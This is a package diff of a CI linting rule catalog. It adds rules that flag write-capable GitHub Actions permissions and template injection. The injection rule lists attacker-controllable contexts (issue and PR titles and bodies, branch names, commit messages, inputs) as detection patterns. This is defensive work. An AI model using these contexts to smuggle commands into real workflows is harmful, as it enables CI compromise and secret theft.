/** Globs that find composite action metadata. Default `action.yml` / `action.yaml` at any depth. */
|
|
139
|
+
readonly actionGlobs?: readonly string[];
|
|
140
|
+
/** An action path with any of these segments is skipped. Default `node_modules`, `.git`, `dist`, `.turbo`, `coverage`. */
|
|
141
|
+
readonly skipDirs?: readonly string[];
|
|
142
|
+
/**
|
|
143
|
+
* Treat `inputs.<name>` (and `github.event.inputs.<name>`) as attacker-controlled. An input the
|
|
144
|
+
* same file declares with `type: boolean`, `number` or `choice` is still left alone: its value
|
|
145
|
+
* cannot carry a script. Default `true`.
|
|
146
|
+
*/
|
|
147
|
+
readonly checkInputs?: boolean;
|
|
148
|
+
/**
|
|
149
|
+
* Treat `steps.<id>.outputs.<name>` as attacker-controlled. An output is only as tainted as
|
|
150
|
+
* whatever the step wrote into it, which the text cannot show. Default `false`.
|
|
151
|
+
*/
|
|
152
|
+
readonly checkStepOutputs?: boolean;
|
|
153
|
+
/** Whether a violation fails CI. Default `true`. */
|
|
154
|
+
readonly ciCritical?: boolean;
|
|
155
|
+
}
|
|
156
|
+
/** No attacker-controllable `${{ }}` expression may be expanded into a `run:` or github-script body. */
|
|
157
|
+
declare function createGithubActionsNoTemplateInjectionRule(options?: GithubActionsNoTemplateInjectionOptions): IMetaRule;
|
|
158
|
+
|
|
119
159
|
/**
|
|
120
160
|
* Options for {@link createGithubActionsRunnerPinnedRule}.
|
|
121
161
|
*
|
|
@@ -499,6 +539,8 @@ declare const RULE_FACTORIES: {
|
|
|
499
539
|
readonly 'canonical-helpers-single-home': typeof createCanonicalHelpersSingleHomeRule;
|
|
500
540
|
readonly 'dockerfile-base-image-digest-pin': typeof createDockerfileBaseImageDigestPinRule;
|
|
501
541
|
readonly 'file-size-ratchet': typeof createFileSizeRatchetRule;
|
|
542
|
+
readonly 'github-actions-least-privilege-permissions': typeof createGithubActionsLeastPrivilegePermissionsRule;
|
|
543
|
+
readonly 'github-actions-no-template-injection': typeof createGithubActionsNoTemplateInjectionRule;
|
|
502
544
|
readonly 'github-actions-runner-pinned': typeof createGithubActionsRunnerPinnedRule;
|
|
503
545
|
readonly 'github-actions-sha-pinned': typeof createGithubActionsShaPinnedRule;
|
|
504
546
|
readonly 'layer-rank': typeof createLayerRankRule;
|
|
@@ -518,4 +560,4 @@ declare const RULE_IDS: (keyof typeof RULE_FACTORIES)[];
|
|
|
518
560
|
/** Instantiate every catalog rule with its default options. */
|
|
519
561
|
declare function createAllRules(): IMetaRule[];
|
|
520
562
|
|
|
521
|
-
export { type AgentsDocPresenceOptions, type CanonicalHelpersSingleHomeOptions, type DockerfileBaseImageDigestPinOptions, type FileSizeRatchetOptions, type GithubActionsRunnerPinnedOptions, type GithubActionsShaPinnedOptions, type LayerRankOptions, type NoClonedComponentFoldersOptions, type NoWarnSeverityOptions, type PackageShapeOptions, RULE_FACTORIES, RULE_IDS, type SecurityScannerVersionParityOptions, type ServiceImageDigestPinOptions, type TestRunnerSegregationOptions, type TestSiblingEnforcementOptions, type TestWorkspaceEnrollmentOptions, type UiPrimitiveShapeOptions, type WorkspaceGraphParityOptions, countLines, createAgentsDocPresenceRule, createAllRules, createCanonicalHelpersSingleHomeRule, createDockerfileBaseImageDigestPinRule, createFileSizeRatchetRule, createGithubActionsRunnerPinnedRule, createGithubActionsShaPinnedRule, createLayerRankRule, createNoClonedComponentFoldersRule, createNoWarnSeverityRule, createPackageShapeRule, createSecurityScannerVersionParityRule, createServiceImageDigestPinRule, createTestRunnerSegregationRule, createTestSiblingEnforcementRule, createTestWorkspaceEnrollmentRule, createUiPrimitiveShapeRule, createWorkspaceGraphParityRule };
|
|
563
|
+
export { type AgentsDocPresenceOptions, type CanonicalHelpersSingleHomeOptions, type DockerfileBaseImageDigestPinOptions, type FileSizeRatchetOptions, type GithubActionsLeastPrivilegePermissionsOptions, type GithubActionsNoTemplateInjectionOptions, type GithubActionsRunnerPinnedOptions, type GithubActionsShaPinnedOptions, type LayerRankOptions, type NoClonedComponentFoldersOptions, type NoWarnSeverityOptions, type PackageShapeOptions, RULE_FACTORIES, RULE_IDS, type SecurityScannerVersionParityOptions, type ServiceImageDigestPinOptions, type TestRunnerSegregationOptions, type TestSiblingEnforcementOptions, type TestWorkspaceEnrollmentOptions, type UiPrimitiveShapeOptions, type WorkspaceGraphParityOptions, countLines, createAgentsDocPresenceRule, createAllRules, createCanonicalHelpersSingleHomeRule, createDockerfileBaseImageDigestPinRule, createFileSizeRatchetRule, createGithubActionsLeastPrivilegePermissionsRule, createGithubActionsNoTemplateInjectionRule, createGithubActionsRunnerPinnedRule, createGithubActionsShaPinnedRule, createLayerRankRule, createNoClonedComponentFoldersRule, createNoWarnSeverityRule, createPackageShapeRule, createSecurityScannerVersionParityRule, createServiceImageDigestPinRule, createTestRunnerSegregationRule, createTestSiblingEnforcementRule, createTestWorkspaceEnrollmentRule, createUiPrimitiveShapeRule, createWorkspaceGraphParityRule };
|
package/dist/index.d.ts
CHANGED
|
@@ -116,6 +116,46 @@ interface FileSizeRatchetOptions {
|
|
|
116
116
|
*/
|
|
117
117
|
declare function createFileSizeRatchetRule(options?: FileSizeRatchetOptions): IMetaRule;
|
|
118
118
|
|
|
119
|
+
/** Options for {@link createGithubActionsLeastPrivilegePermissionsRule}. */
|
|
120
|
+
interface GithubActionsLeastPrivilegePermissionsOptions {
|
|
121
|
+
/** Globs of the workflow files to scan. Default `.github/workflows/*.y(a)ml`. */
|
|
122
|
+
readonly workflowGlobs?: readonly string[];
|
|
123
|
+
/**
|
|
124
|
+
* Scopes allowed at `write` in the top-level `permissions:` block (for example `contents` in a
|
|
125
|
+
* release workflow whose every job pushes). Default none.
|
|
126
|
+
*/
|
|
127
|
+
readonly allowTopLevelWrite?: readonly string[];
|
|
128
|
+
/** Whether a violation fails CI. Default `true`. */
|
|
129
|
+
readonly ciCritical?: boolean;
|
|
130
|
+
}
|
|
131
|
+
/** A workflow's top-level `permissions:` exists, is not `*-all`, and grants no write. */
|
|
132
|
+
declare function createGithubActionsLeastPrivilegePermissionsRule(options?: GithubActionsLeastPrivilegePermissionsOptions): IMetaRule;
|
|
133
|
+
|
|
134
|
+
/** Options for {@link createGithubActionsNoTemplateInjectionRule}. */
|
|
135
|
+
interface GithubActionsNoTemplateInjectionOptions {
|
|
136
|
+
/** Globs of the workflow files to scan. Default `.github/workflows/*.y(a)ml`. */
|
|
137
|
+
readonly workflowGlobs?: readonly string[];
|
|
138
|
+
/** Globs that find composite action metadata. Default `action.yml` / `action.yaml` at any depth. */
|
|
139
|
+
readonly actionGlobs?: readonly string[];
|
|
140
|
+
/** An action path with any of these segments is skipped. Default `node_modules`, `.git`, `dist`, `.turbo`, `coverage`. */
|
|
141
|
+
readonly skipDirs?: readonly string[];
|
|
142
|
+
/**
|
|
143
|
+
* Treat `inputs.<name>` (and `github.event.inputs.<name>`) as attacker-controlled. An input the
|
|
144
|
+
* same file declares with `type: boolean`, `number` or `choice` is still left alone: its value
|
|
145
|
+
* cannot carry a script. Default `true`.
|
|
146
|
+
*/
|
|
147
|
+
readonly checkInputs?: boolean;
|
|
148
|
+
/**
|
|
149
|
+
* Treat `steps.<id>.outputs.<name>` as attacker-controlled. An output is only as tainted as
|
|
150
|
+
* whatever the step wrote into it, which the text cannot show. Default `false`.
|
|
151
|
+
*/
|
|
152
|
+
readonly checkStepOutputs?: boolean;
|
|
153
|
+
/** Whether a violation fails CI. Default `true`. */
|
|
154
|
+
readonly ciCritical?: boolean;
|
|
155
|
+
}
|
|
156
|
+
/** No attacker-controllable `${{ }}` expression may be expanded into a `run:` or github-script body. */
|
|
157
|
+
declare function createGithubActionsNoTemplateInjectionRule(options?: GithubActionsNoTemplateInjectionOptions): IMetaRule;
|
|
158
|
+
|
|
119
159
|
/**
|
|
120
160
|
* Options for {@link createGithubActionsRunnerPinnedRule}.
|
|
121
161
|
*
|
|
@@ -499,6 +539,8 @@ declare const RULE_FACTORIES: {
|
|
|
499
539
|
readonly 'canonical-helpers-single-home': typeof createCanonicalHelpersSingleHomeRule;
|
|
500
540
|
readonly 'dockerfile-base-image-digest-pin': typeof createDockerfileBaseImageDigestPinRule;
|
|
501
541
|
readonly 'file-size-ratchet': typeof createFileSizeRatchetRule;
|
|
542
|
+
readonly 'github-actions-least-privilege-permissions': typeof createGithubActionsLeastPrivilegePermissionsRule;
|
|
543
|
+
readonly 'github-actions-no-template-injection': typeof createGithubActionsNoTemplateInjectionRule;
|
|
502
544
|
readonly 'github-actions-runner-pinned': typeof createGithubActionsRunnerPinnedRule;
|
|
503
545
|
readonly 'github-actions-sha-pinned': typeof createGithubActionsShaPinnedRule;
|
|
504
546
|
readonly 'layer-rank': typeof createLayerRankRule;
|
|
@@ -518,4 +560,4 @@ declare const RULE_IDS: (keyof typeof RULE_FACTORIES)[];
|
|
|
518
560
|
/** Instantiate every catalog rule with its default options. */
|
|
519
561
|
declare function createAllRules(): IMetaRule[];
|
|
520
562
|
|
|
521
|
-
export { type AgentsDocPresenceOptions, type CanonicalHelpersSingleHomeOptions, type DockerfileBaseImageDigestPinOptions, type FileSizeRatchetOptions, type GithubActionsRunnerPinnedOptions, type GithubActionsShaPinnedOptions, type LayerRankOptions, type NoClonedComponentFoldersOptions, type NoWarnSeverityOptions, type PackageShapeOptions, RULE_FACTORIES, RULE_IDS, type SecurityScannerVersionParityOptions, type ServiceImageDigestPinOptions, type TestRunnerSegregationOptions, type TestSiblingEnforcementOptions, type TestWorkspaceEnrollmentOptions, type UiPrimitiveShapeOptions, type WorkspaceGraphParityOptions, countLines, createAgentsDocPresenceRule, createAllRules, createCanonicalHelpersSingleHomeRule, createDockerfileBaseImageDigestPinRule, createFileSizeRatchetRule, createGithubActionsRunnerPinnedRule, createGithubActionsShaPinnedRule, createLayerRankRule, createNoClonedComponentFoldersRule, createNoWarnSeverityRule, createPackageShapeRule, createSecurityScannerVersionParityRule, createServiceImageDigestPinRule, createTestRunnerSegregationRule, createTestSiblingEnforcementRule, createTestWorkspaceEnrollmentRule, createUiPrimitiveShapeRule, createWorkspaceGraphParityRule };
|
|
563
|
+
export { type AgentsDocPresenceOptions, type CanonicalHelpersSingleHomeOptions, type DockerfileBaseImageDigestPinOptions, type FileSizeRatchetOptions, type GithubActionsLeastPrivilegePermissionsOptions, type GithubActionsNoTemplateInjectionOptions, type GithubActionsRunnerPinnedOptions, type GithubActionsShaPinnedOptions, type LayerRankOptions, type NoClonedComponentFoldersOptions, type NoWarnSeverityOptions, type PackageShapeOptions, RULE_FACTORIES, RULE_IDS, type SecurityScannerVersionParityOptions, type ServiceImageDigestPinOptions, type TestRunnerSegregationOptions, type TestSiblingEnforcementOptions, type TestWorkspaceEnrollmentOptions, type UiPrimitiveShapeOptions, type WorkspaceGraphParityOptions, countLines, createAgentsDocPresenceRule, createAllRules, createCanonicalHelpersSingleHomeRule, createDockerfileBaseImageDigestPinRule, createFileSizeRatchetRule, createGithubActionsLeastPrivilegePermissionsRule, createGithubActionsNoTemplateInjectionRule, createGithubActionsRunnerPinnedRule, createGithubActionsShaPinnedRule, createLayerRankRule, createNoClonedComponentFoldersRule, createNoWarnSeverityRule, createPackageShapeRule, createSecurityScannerVersionParityRule, createServiceImageDigestPinRule, createTestRunnerSegregationRule, createTestSiblingEnforcementRule, createTestWorkspaceEnrollmentRule, createUiPrimitiveShapeRule, createWorkspaceGraphParityRule };
|
package/dist/index.js
CHANGED
|
@@ -244,8 +244,293 @@ function createFileSizeRatchetRule(options = {}) {
|
|
|
244
244
|
};
|
|
245
245
|
}
|
|
246
246
|
|
|
247
|
+
// src/rules/github-actions-least-privilege-permissions.ts
|
|
248
|
+
var RULE_ID2 = "github-actions-least-privilege-permissions";
|
|
249
|
+
var TOP_KEY = /^([\w-]+):\s*(.*)$/u;
|
|
250
|
+
var SCOPE_ENTRY = /^\s*['"]?([\w-]+)['"]?:\s*['"]?([\w-]+)['"]?\s*$/u;
|
|
251
|
+
function indentOf(line) {
|
|
252
|
+
return /^\s*/u.exec(line)?.[0].length ?? 0;
|
|
253
|
+
}
|
|
254
|
+
function isContent(line) {
|
|
255
|
+
const trimmed = line.trim();
|
|
256
|
+
return trimmed !== "" && !trimmed.startsWith("#");
|
|
257
|
+
}
|
|
258
|
+
function topLevelKeys(lines) {
|
|
259
|
+
const keys = [];
|
|
260
|
+
lines.forEach((line, index) => {
|
|
261
|
+
const match = TOP_KEY.exec(line);
|
|
262
|
+
if (match === null) return;
|
|
263
|
+
keys.push({ key: unquote(match[1] ?? ""), value: stripYamlComment(match[2] ?? "").trim(), index });
|
|
264
|
+
});
|
|
265
|
+
return keys;
|
|
266
|
+
}
|
|
267
|
+
function blockOf(lines, index) {
|
|
268
|
+
const block = [];
|
|
269
|
+
for (let j = index + 1; j < lines.length; j += 1) {
|
|
270
|
+
const line = lines[j] ?? "";
|
|
271
|
+
if (!isContent(line)) continue;
|
|
272
|
+
if (indentOf(line) === 0) break;
|
|
273
|
+
block.push({ text: stripYamlComment(line), index: j });
|
|
274
|
+
}
|
|
275
|
+
return block;
|
|
276
|
+
}
|
|
277
|
+
function scopeEntries(lines, permissions) {
|
|
278
|
+
if (permissions.value.startsWith("{")) {
|
|
279
|
+
return permissions.value.replace(/^\{|\}$/gu, "").split(",").map((pair) => SCOPE_ENTRY.exec(pair)).filter((match) => match !== null).map((match) => ({ scope: match[1] ?? "", level: match[2] ?? "", line: permissions.index + 1 }));
|
|
280
|
+
}
|
|
281
|
+
return blockOf(lines, permissions.index).flatMap(({ text, index }) => {
|
|
282
|
+
const match = SCOPE_ENTRY.exec(text);
|
|
283
|
+
return match === null ? [] : [{ scope: match[1] ?? "", level: match[2] ?? "", line: index + 1 }];
|
|
284
|
+
});
|
|
285
|
+
}
|
|
286
|
+
function jobsWithoutPermissions(lines, jobs) {
|
|
287
|
+
const block = blockOf(lines, jobs.index);
|
|
288
|
+
const jobColumn = indentOf(block[0]?.text ?? "");
|
|
289
|
+
const missing = [];
|
|
290
|
+
let current;
|
|
291
|
+
let keyColumn = -1;
|
|
292
|
+
const settle = () => {
|
|
293
|
+
if (current !== void 0 && !current.hasPermissions) missing.push(current.name);
|
|
294
|
+
};
|
|
295
|
+
for (const { text } of block) {
|
|
296
|
+
const column = indentOf(text);
|
|
297
|
+
if (column === jobColumn) {
|
|
298
|
+
settle();
|
|
299
|
+
current = { name: unquote(text.trim().replace(/:.*$/u, "")), hasPermissions: false };
|
|
300
|
+
keyColumn = -1;
|
|
301
|
+
continue;
|
|
302
|
+
}
|
|
303
|
+
if (current === void 0 || column < jobColumn) continue;
|
|
304
|
+
if (keyColumn === -1) keyColumn = column;
|
|
305
|
+
if (column === keyColumn && /^\s*permissions:/u.test(text)) current.hasPermissions = true;
|
|
306
|
+
}
|
|
307
|
+
settle();
|
|
308
|
+
return missing;
|
|
309
|
+
}
|
|
310
|
+
function checkWorkflowPermissions(file, text, allowTopLevelWrite = []) {
|
|
311
|
+
const lines = text.split("\n");
|
|
312
|
+
const keys = topLevelKeys(lines);
|
|
313
|
+
const permissions = keys.find((entry) => entry.key === "permissions");
|
|
314
|
+
const report = (line, message) => ({
|
|
315
|
+
file,
|
|
316
|
+
rule: RULE_ID2,
|
|
317
|
+
message: `line ${line}: ${message}`,
|
|
318
|
+
line
|
|
319
|
+
});
|
|
320
|
+
if (permissions === void 0) {
|
|
321
|
+
const jobs = keys.find((entry) => entry.key === "jobs");
|
|
322
|
+
const missing = jobs === void 0 ? [] : jobsWithoutPermissions(lines, jobs);
|
|
323
|
+
if (missing.length === 0) return [];
|
|
324
|
+
return [
|
|
325
|
+
report(
|
|
326
|
+
1,
|
|
327
|
+
`no top-level \`permissions:\`, so ${missing.map((job) => `\`${job}\``).join(", ")} ${missing.length === 1 ? "runs" : "run"} with the repository's default token, which can be read-write. Add \`permissions: { contents: read }\` at the top and grant writes on the job that needs them.`
|
|
328
|
+
)
|
|
329
|
+
];
|
|
330
|
+
}
|
|
331
|
+
const shorthand = unquote(permissions.value);
|
|
332
|
+
if (shorthand === "write-all" || shorthand === "read-all") {
|
|
333
|
+
return [
|
|
334
|
+
report(
|
|
335
|
+
permissions.index + 1,
|
|
336
|
+
`top-level \`permissions: ${shorthand}\` grants every scope to every job. List only the scopes the workflow reads (for example \`contents: read\`) and grant writes on the job that needs them.`
|
|
337
|
+
)
|
|
338
|
+
];
|
|
339
|
+
}
|
|
340
|
+
const allowed = new Set(allowTopLevelWrite);
|
|
341
|
+
return scopeEntries(lines, permissions).filter(({ scope, level }) => level === "write" && !allowed.has(scope)).map(
|
|
342
|
+
({ scope, line }) => report(
|
|
343
|
+
line,
|
|
344
|
+
`top-level \`permissions\` grants \`${scope}: write\` to every job. Move it to the job that needs it and keep the top level read-only.`
|
|
345
|
+
)
|
|
346
|
+
);
|
|
347
|
+
}
|
|
348
|
+
function createGithubActionsLeastPrivilegePermissionsRule(options = {}) {
|
|
349
|
+
const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
|
|
350
|
+
const allowTopLevelWrite = options.allowTopLevelWrite ?? [];
|
|
351
|
+
const ciCritical = options.ciCritical ?? true;
|
|
352
|
+
return {
|
|
353
|
+
id: RULE_ID2,
|
|
354
|
+
category: "ci",
|
|
355
|
+
ciCritical,
|
|
356
|
+
description: "GitHub Actions workflows declare a read-only top-level `permissions:` (no `write-all`/`read-all`, no `<scope>: write`); writes go on the job that needs them.",
|
|
357
|
+
run(ctx) {
|
|
358
|
+
return globFiles((p) => ctx.glob(p), workflowGlobs).flatMap(
|
|
359
|
+
(file) => checkWorkflowPermissions(file, ctx.read(file) ?? "", allowTopLevelWrite)
|
|
360
|
+
);
|
|
361
|
+
}
|
|
362
|
+
};
|
|
363
|
+
}
|
|
364
|
+
|
|
365
|
+
// src/rules/github-actions-no-template-injection.ts
|
|
366
|
+
var RULE_ID3 = "github-actions-no-template-injection";
|
|
367
|
+
var DEFAULT_ACTION_GLOBS = anywhereGlobs(["action.yml", "action.yaml"]);
|
|
368
|
+
var EVENT = String.raw`(?<![\w.])github\.event\.`;
|
|
369
|
+
var ANY_ITEM = String.raw`(?:\.\*|\[\d+\])`;
|
|
370
|
+
var TAINTED_CONTEXTS = [
|
|
371
|
+
new RegExp(String.raw`${EVENT}(?:issue|pull_request|discussion)\.(?:title|body)\b`, "u"),
|
|
372
|
+
new RegExp(String.raw`${EVENT}pull_request\.head\.(?:ref|label)\b`, "u"),
|
|
373
|
+
new RegExp(String.raw`${EVENT}(?:comment|review|review_comment)\.body\b`, "u"),
|
|
374
|
+
new RegExp(String.raw`${EVENT}pages${ANY_ITEM}\.page_name\b`, "u"),
|
|
375
|
+
new RegExp(String.raw`${EVENT}commits${ANY_ITEM}\.(?:message|author|committer)\b`, "u"),
|
|
376
|
+
new RegExp(String.raw`${EVENT}head_commit\.(?:message|author|committer)\b`, "u"),
|
|
377
|
+
new RegExp(String.raw`${EVENT}workflow_run\.head_branch\b`, "u"),
|
|
378
|
+
new RegExp(String.raw`${EVENT}workflow_run\.head_commit\.(?:message|author|committer)\b`, "u"),
|
|
379
|
+
/(?<![\w.])github\.head_ref\b/u
|
|
380
|
+
];
|
|
381
|
+
var INPUT_CONTEXT = /(?<![\w.])(?:github\.event\.)?inputs\.([\w-]+)/gu;
|
|
382
|
+
var STEP_OUTPUT_CONTEXT = /(?<![\w.])steps\.[\w-]+\.outputs\.[\w-]+/u;
|
|
383
|
+
var SAFE_INPUT_TYPES = /* @__PURE__ */ new Set(["boolean", "number", "choice"]);
|
|
384
|
+
var EXPRESSION = /\$\{\{(.*?)\}\}/gu;
|
|
385
|
+
var SCRIPT_KEY = /^(\s*)(-\s+)?(run|script):(?:\s+(.*))?$/u;
|
|
386
|
+
var BLOCK_INDICATOR = /^[|>][-+0-9]*\s*(?:#.*)?$/u;
|
|
387
|
+
var MAPPING_LINE = /^\s*[\w-]+:(?:\s|$)/u;
|
|
388
|
+
var GITHUB_SCRIPT_USES = /^\s*(?:-\s+)?uses:\s*['"]?actions\/github-script@/u;
|
|
389
|
+
function indentOf2(line) {
|
|
390
|
+
return /^\s*/u.exec(line)?.[0].length ?? 0;
|
|
391
|
+
}
|
|
392
|
+
function isContent2(line) {
|
|
393
|
+
const trimmed = line.trim();
|
|
394
|
+
return trimmed !== "" && !trimmed.startsWith("#");
|
|
395
|
+
}
|
|
396
|
+
function parentOf(lines, index, column) {
|
|
397
|
+
for (let j = index - 1; j >= 0; j -= 1) {
|
|
398
|
+
const line = lines[j] ?? "";
|
|
399
|
+
if (isContent2(line) && indentOf2(line) < column) return j;
|
|
400
|
+
}
|
|
401
|
+
return -1;
|
|
402
|
+
}
|
|
403
|
+
function isGithubScriptStep(lines, withIndex) {
|
|
404
|
+
const stepStart = parentOf(lines, withIndex, indentOf2(lines[withIndex] ?? ""));
|
|
405
|
+
const stepLine = lines[stepStart] ?? "";
|
|
406
|
+
if (!stepLine.trimStart().startsWith("-")) return false;
|
|
407
|
+
const dashColumn = indentOf2(stepLine);
|
|
408
|
+
for (let j = stepStart; j < lines.length; j += 1) {
|
|
409
|
+
const line = lines[j] ?? "";
|
|
410
|
+
if (j > stepStart && isContent2(line) && indentOf2(line) <= dashColumn) break;
|
|
411
|
+
if (GITHUB_SCRIPT_USES.test(line)) return true;
|
|
412
|
+
}
|
|
413
|
+
return false;
|
|
414
|
+
}
|
|
415
|
+
function safeInputNames(lines) {
|
|
416
|
+
const safe = /* @__PURE__ */ new Set();
|
|
417
|
+
lines.forEach((line, index) => {
|
|
418
|
+
if (!/^\s*inputs:\s*(?:#.*)?$/u.test(line)) return;
|
|
419
|
+
const column = indentOf2(line);
|
|
420
|
+
let nameColumn = -1;
|
|
421
|
+
let name = "";
|
|
422
|
+
for (const child of lines.slice(index + 1)) {
|
|
423
|
+
if (!isContent2(child)) continue;
|
|
424
|
+
const childColumn = indentOf2(child);
|
|
425
|
+
if (childColumn <= column) break;
|
|
426
|
+
if (nameColumn === -1) nameColumn = childColumn;
|
|
427
|
+
if (childColumn === nameColumn) {
|
|
428
|
+
name = /^\s*['"]?([\w-]+)['"]?:/u.exec(child)?.[1] ?? "";
|
|
429
|
+
continue;
|
|
430
|
+
}
|
|
431
|
+
const type = /^\s*type:\s*['"]?(\w+)/u.exec(stripYamlComment(child))?.[1];
|
|
432
|
+
if (type !== void 0 && SAFE_INPUT_TYPES.has(type) && name !== "") safe.add(name);
|
|
433
|
+
}
|
|
434
|
+
});
|
|
435
|
+
return safe;
|
|
436
|
+
}
|
|
437
|
+
function scriptLines(lines, index, keyColumn) {
|
|
438
|
+
const inline = SCRIPT_KEY.exec(lines[index] ?? "")?.[4] ?? "";
|
|
439
|
+
const block = BLOCK_INDICATOR.test(inline.trim());
|
|
440
|
+
const quoted = /^['"]/u.test(inline.trim());
|
|
441
|
+
const keep = (text) => block || quoted ? text : stripYamlComment(text);
|
|
442
|
+
const collected = block ? [] : [{ line: index + 1, text: keep(inline) }];
|
|
443
|
+
for (let j = index + 1; j < lines.length; j += 1) {
|
|
444
|
+
const line = lines[j] ?? "";
|
|
445
|
+
if (line.trim() !== "" && indentOf2(line) <= keyColumn) break;
|
|
446
|
+
collected.push({ line: j + 1, text: keep(line) });
|
|
447
|
+
}
|
|
448
|
+
const first = collected.find((entry) => entry.text.trim() !== "");
|
|
449
|
+
if (inline.trim() === "" && first !== void 0 && MAPPING_LINE.test(first.text)) return [];
|
|
450
|
+
return collected;
|
|
451
|
+
}
|
|
452
|
+
function taintedContexts(expression, checkInputs, checkStepOutputs, safeInputs) {
|
|
453
|
+
const found = [];
|
|
454
|
+
for (const pattern of TAINTED_CONTEXTS) {
|
|
455
|
+
const match = pattern.exec(expression);
|
|
456
|
+
if (match !== null) found.push(match[0]);
|
|
457
|
+
}
|
|
458
|
+
if (checkInputs) {
|
|
459
|
+
for (const match of expression.matchAll(INPUT_CONTEXT)) {
|
|
460
|
+
if (!safeInputs.has(match[1] ?? "")) found.push(match[0]);
|
|
461
|
+
}
|
|
462
|
+
}
|
|
463
|
+
if (checkStepOutputs) {
|
|
464
|
+
const match = STEP_OUTPUT_CONTEXT.exec(expression);
|
|
465
|
+
if (match !== null) found.push(match[0]);
|
|
466
|
+
}
|
|
467
|
+
return found;
|
|
468
|
+
}
|
|
469
|
+
function checkWorkflowTemplateInjection(file, text, options = {}) {
|
|
470
|
+
const checkInputs = options.checkInputs ?? true;
|
|
471
|
+
const checkStepOutputs = options.checkStepOutputs ?? false;
|
|
472
|
+
const lines = text.split("\n");
|
|
473
|
+
const safeInputs = checkInputs ? safeInputNames(lines) : /* @__PURE__ */ new Set();
|
|
474
|
+
const violations = [];
|
|
475
|
+
let skipThrough = -1;
|
|
476
|
+
lines.forEach((line, index) => {
|
|
477
|
+
const match = index > skipThrough ? SCRIPT_KEY.exec(line) : null;
|
|
478
|
+
if (match === null) return;
|
|
479
|
+
const keyColumn = (match[1]?.length ?? 0) + (match[2]?.length ?? 0);
|
|
480
|
+
const key = match[3] ?? "run";
|
|
481
|
+
if (key === "script") {
|
|
482
|
+
const parent = parentOf(lines, index, keyColumn);
|
|
483
|
+
if (!/^\s*with:\s*(?:#.*)?$/u.test(lines[parent] ?? "")) return;
|
|
484
|
+
if (!isGithubScriptStep(lines, parent)) return;
|
|
485
|
+
}
|
|
486
|
+
const where = key === "run" ? "`run:` script" : "`actions/github-script` `script:`";
|
|
487
|
+
const script = scriptLines(lines, index, keyColumn);
|
|
488
|
+
skipThrough = (script[script.length - 1]?.line ?? index + 1) - 1;
|
|
489
|
+
for (const entry of script) {
|
|
490
|
+
for (const expression of entry.text.matchAll(EXPRESSION)) {
|
|
491
|
+
const contexts = taintedContexts(
|
|
492
|
+
expression[1] ?? "",
|
|
493
|
+
checkInputs,
|
|
494
|
+
checkStepOutputs,
|
|
495
|
+
safeInputs
|
|
496
|
+
);
|
|
497
|
+
if (contexts.length === 0) continue;
|
|
498
|
+
violations.push({
|
|
499
|
+
file,
|
|
500
|
+
rule: RULE_ID3,
|
|
501
|
+
message: `line ${entry.line}: \`${expression[0]}\` expands attacker-controllable \`${contexts.join("`, `")}\` into a ${where}, where it runs as code. Pass it through \`env:\` (for example \`VALUE: ${expression[0]}\`) and read \`"$VALUE"\` instead.`,
|
|
502
|
+
line: entry.line
|
|
503
|
+
});
|
|
504
|
+
}
|
|
505
|
+
}
|
|
506
|
+
});
|
|
507
|
+
return violations;
|
|
508
|
+
}
|
|
509
|
+
function createGithubActionsNoTemplateInjectionRule(options = {}) {
|
|
510
|
+
const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
|
|
511
|
+
const actionGlobs = options.actionGlobs ?? DEFAULT_ACTION_GLOBS;
|
|
512
|
+
const skipDirs = options.skipDirs ?? DEFAULT_SKIP_DIRS;
|
|
513
|
+
const ciCritical = options.ciCritical ?? true;
|
|
514
|
+
return {
|
|
515
|
+
id: RULE_ID3,
|
|
516
|
+
category: "ci",
|
|
517
|
+
ciCritical,
|
|
518
|
+
description: "GitHub Actions `run:` and github-script bodies never expand attacker-controllable `${{ }}` context (issue/PR titles, comments, branch names); pass it through `env:` instead.",
|
|
519
|
+
run(ctx) {
|
|
520
|
+
const files = globFiles(
|
|
521
|
+
(p) => ctx.glob(p),
|
|
522
|
+
[...workflowGlobs, ...actionGlobs],
|
|
523
|
+
skipDirs
|
|
524
|
+
);
|
|
525
|
+
return files.flatMap(
|
|
526
|
+
(file) => checkWorkflowTemplateInjection(file, ctx.read(file) ?? "", options)
|
|
527
|
+
);
|
|
528
|
+
}
|
|
529
|
+
};
|
|
530
|
+
}
|
|
531
|
+
|
|
247
532
|
// src/rules/github-actions-runner-pinned.ts
|
|
248
|
-
var
|
|
533
|
+
var RULE_ID4 = "github-actions-runner-pinned";
|
|
249
534
|
var RUNS_ON = /^(\s*)runs-on:\s*(.*)$/u;
|
|
250
535
|
var DEFAULT_FLOATING_LABEL = /^[\w.-]+-latest$/u;
|
|
251
536
|
function runnerLabels(lines, start, indent) {
|
|
@@ -277,7 +562,7 @@ function checkWorkflowRunnersPinned(file, text, floatingLabel = DEFAULT_FLOATING
|
|
|
277
562
|
if (floatingLabel.test(label)) {
|
|
278
563
|
violations.push({
|
|
279
564
|
file,
|
|
280
|
-
rule:
|
|
565
|
+
rule: RULE_ID4,
|
|
281
566
|
message: `line ${index + 1}: \`runs-on\` uses the floating runner label "${label}". Pin a named image (for example \`ubuntu-24.04\`) so a runner image change is a reviewed diff.`,
|
|
282
567
|
line: index + 1
|
|
283
568
|
});
|
|
@@ -291,7 +576,7 @@ function createGithubActionsRunnerPinnedRule(options = {}) {
|
|
|
291
576
|
const floatingLabel = options.floatingLabel ?? DEFAULT_FLOATING_LABEL;
|
|
292
577
|
const ciCritical = options.ciCritical ?? true;
|
|
293
578
|
return {
|
|
294
|
-
id:
|
|
579
|
+
id: RULE_ID4,
|
|
295
580
|
category: "ci",
|
|
296
581
|
ciCritical,
|
|
297
582
|
description: "GitHub Actions jobs must run on a pinned runner image (for example ubuntu-24.04), never a *-latest label.",
|
|
@@ -304,7 +589,7 @@ function createGithubActionsRunnerPinnedRule(options = {}) {
|
|
|
304
589
|
}
|
|
305
590
|
|
|
306
591
|
// src/rules/github-actions-sha-pinned.ts
|
|
307
|
-
var
|
|
592
|
+
var RULE_ID5 = "github-actions-sha-pinned";
|
|
308
593
|
var USES_LINE = /^\s*(?:-\s+)?uses:\s*['"]?([^\s'"#]+)['"]?\s*(#.*)?$/u;
|
|
309
594
|
var FULL_SHA = /^[0-9a-f]{40}$/u;
|
|
310
595
|
var DOCKER_DIGEST = /@sha256:[0-9a-f]{64}$/u;
|
|
@@ -319,7 +604,7 @@ function checkWorkflowActionsPinned(file, text) {
|
|
|
319
604
|
}
|
|
320
